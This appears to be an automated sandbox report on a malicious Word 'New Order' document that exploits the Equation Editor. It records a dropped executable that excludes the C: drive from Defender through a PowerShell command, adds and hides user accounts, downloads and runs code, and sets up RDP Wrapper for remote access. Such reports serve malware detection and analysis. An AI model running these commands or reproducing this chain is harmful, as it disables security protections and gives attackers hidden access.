Code function: 5_2_009AD49C OpenSCManagerW,OpenServiceW,CloseServiceHandle,ChangeServiceConfigW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_00DD7C10 LoadResource,LockResource,SizeofResource,

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

File created: C:\Program Files\Microsoft DN1

Source: ~WRF{F633E147-4322-4DEF-8D52-47EC935B75D3}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{F633E147-4322-4DEF-8D52-47EC935B75D3}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{F633E147-4322-4DEF-8D52-47EC935B75D3}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: New Order ( MY 01-22-DTHI .doc	Virustotal: Detection: 42%
Source: New Order ( MY 01-22-DTHI .doc	Metadefender: Detection: 42%
Source: New Order ( MY 01-22-DTHI .doc	ReversingLabs: Detection: 47%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P..............................c......................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P..............................c......................0.......#.........z.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P..............................c......................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P..............................d......................0......./.........z.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.............................6d......................0.......;...............\|.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.............................Rd......................0.......;.........z.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7.......zd......................0.......G.........z.....".......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P..............................d......................0.......G.........z.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P..............................d......................0.......S...............V.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P..............................d......................0.......S.........z.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P..............................e......................0......._.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P..............................e......................0......._.........z.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......k.........z.....2.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.............................^e......................0.......k.........z.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P..............................e......................0.......w...............l.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P..............................e......................0.......w.........z.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P..............................e......................0.................z.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................e......................0.................z.............................
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................M.i.c.r.o.s.o.f.t. .W.i.n.d.o.w.s. .[.V.e.r.s.i.o.n. .6...1...7.6.0.1.]...........".....H.......................
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ....................................c.r.(.P.....8....... ....... ........a......................6.0.1.]...........".............(...............
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ....................................c.r.(.P.....8....... ................a......................6.0.1.].................~.......(...............
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ....................................c.r.(.P.....8....... ................a......................6.0.1.]...........".............................
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ..................I.....................(.P.....8....... ................a......................6.0.1.]...........".............................
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ..................I.............C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>."a......................6.0.1.]...........".....(.......(...............

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe C:\Users\user\AppData\Roaming\fiftikmernk852317.exe
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe "C:\Users\user\AppData\Roaming\fiftikmernk852317.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe C:\Users\user\AppData\Roaming\fiftikmernk852317.exe
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{62BE5D10-60EB-11D0-BD3B-00A0C911CE86}\InprocServer32

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009AF619 OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_003FACEE AdjustTokenPrivileges,
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_003FACB7 AdjustTokenPrivileges,

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR585C.tmp

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_00DD1DD0 CoCreateInstance,StringFromGUID2,__alloca_probe_16,strcpy_s,strcat_s,strcat_s,strcat_s,RegQueryInfoKeyA,RegQueryInfoKeyA,strcpy_s,strcat_s,strcat_s,strcat_s,RegQueryInfoKeyA,

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_009B20B8 RegSetValueExA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Directory created: C:\Program Files\Microsoft DN1

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.988694362.00000000029B6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbAA source: powershell.exe, 00000006.00000002.993133071.00000000057CD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: G??\C:\Windows\system32\netutils.dllhell\v1.0\netutils.dllnfig\v2.0.50727.312\security.config.cch.1468.35906984on.pdby.resources.exes.exeI.ni.dlle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\.Ne source: powershell.exe, 00000006.00000002.988242865.0000000000534000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbK source: powershell.exe, 00000006.00000002.988694362.00000000029B6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: indows\System.Management.Automation.pdbpdbion.pdb^ source: powershell.exe, 00000006.00000002.988694362.00000000029B6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.988694362.00000000029B6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.988694362.00000000029B6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.988694362.00000000029B6000.00000004.00000020.00020000.00000000.sdmp

Source: ~WRF{F633E147-4322-4DEF-8D52-47EC935B75D3}.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0068C140 pushad ; retf 0069h
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0068B39F pushad ; retf
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_00DD8F76 push ecx; ret
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009A1190 push eax; ret
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009A1190 push eax; ret
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_02420ACF push eax; ret
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_02420ACF push eax; ret
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_02433DF0 push ebp; retf

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_009AFA42 LoadLibraryA,GetProcAddress,

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_009AD418 NetUserAdd,NetLocalGroupAddMembers,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\fifthikmerozx[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_009A27D3 URLDownloadToFileW,ShellExecuteW,

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009AAC0A lstrcatW,GetBinaryTypeW,CopyFileW,PathFileExistsW,GetPrivateProfileStringW,
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009AA6C8 GetBinaryTypeW,CopyFileW,PathFileExistsW,GetPrivateProfileStringW,

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_009AD508 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,GetLastError,Sleep,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

Hooking and other Techniques for Hiding and Protection

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

File opened: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe:Zone.Identifier read attributes | delete

Contains functionality to hide user accounts

Source: fiftikmernk852317.exe	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: fiftikmernk852317.exe, 00000005.00000003.980052176.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: fiftikmernk852317.exe, 00000005.00000003.980052176.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: UEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEETermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrudprpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameType
Source: fiftikmernk852317.exe, 00000005.00000003.979964184.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: fiftikmernk852317.exe, 00000005.00000003.979964184.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: UEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEETermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrudprpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameType
Source: fiftikmernk852317.exe, 00000005.00000002.1180934477.0000000002420000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: fiftikmernk852317.exe, 00000005.00000002.1180934477.0000000002420000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: UEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEETermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrudprpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameType
Source: fiftikmernk852317.exe, 00000005.00000003.980132553.00000000004DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: fiftikmernk852317.exe, 00000005.00000003.980132553.00000000004DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: UEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEETermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrudprpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameType
Source: fiftikmernk852317.exe, 00000005.00000003.979955423.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: fiftikmernk852317.exe, 00000005.00000003.979955423.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: UEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEETermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrudprpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameType
Source: fiftikmernk852317.exe, 00000005.00000002.1180424961.00000000009B4000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: fiftikmernk852317.exe, 00000005.00000002.1180424961.00000000009B4000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: UEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEETermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrudprpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameType

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
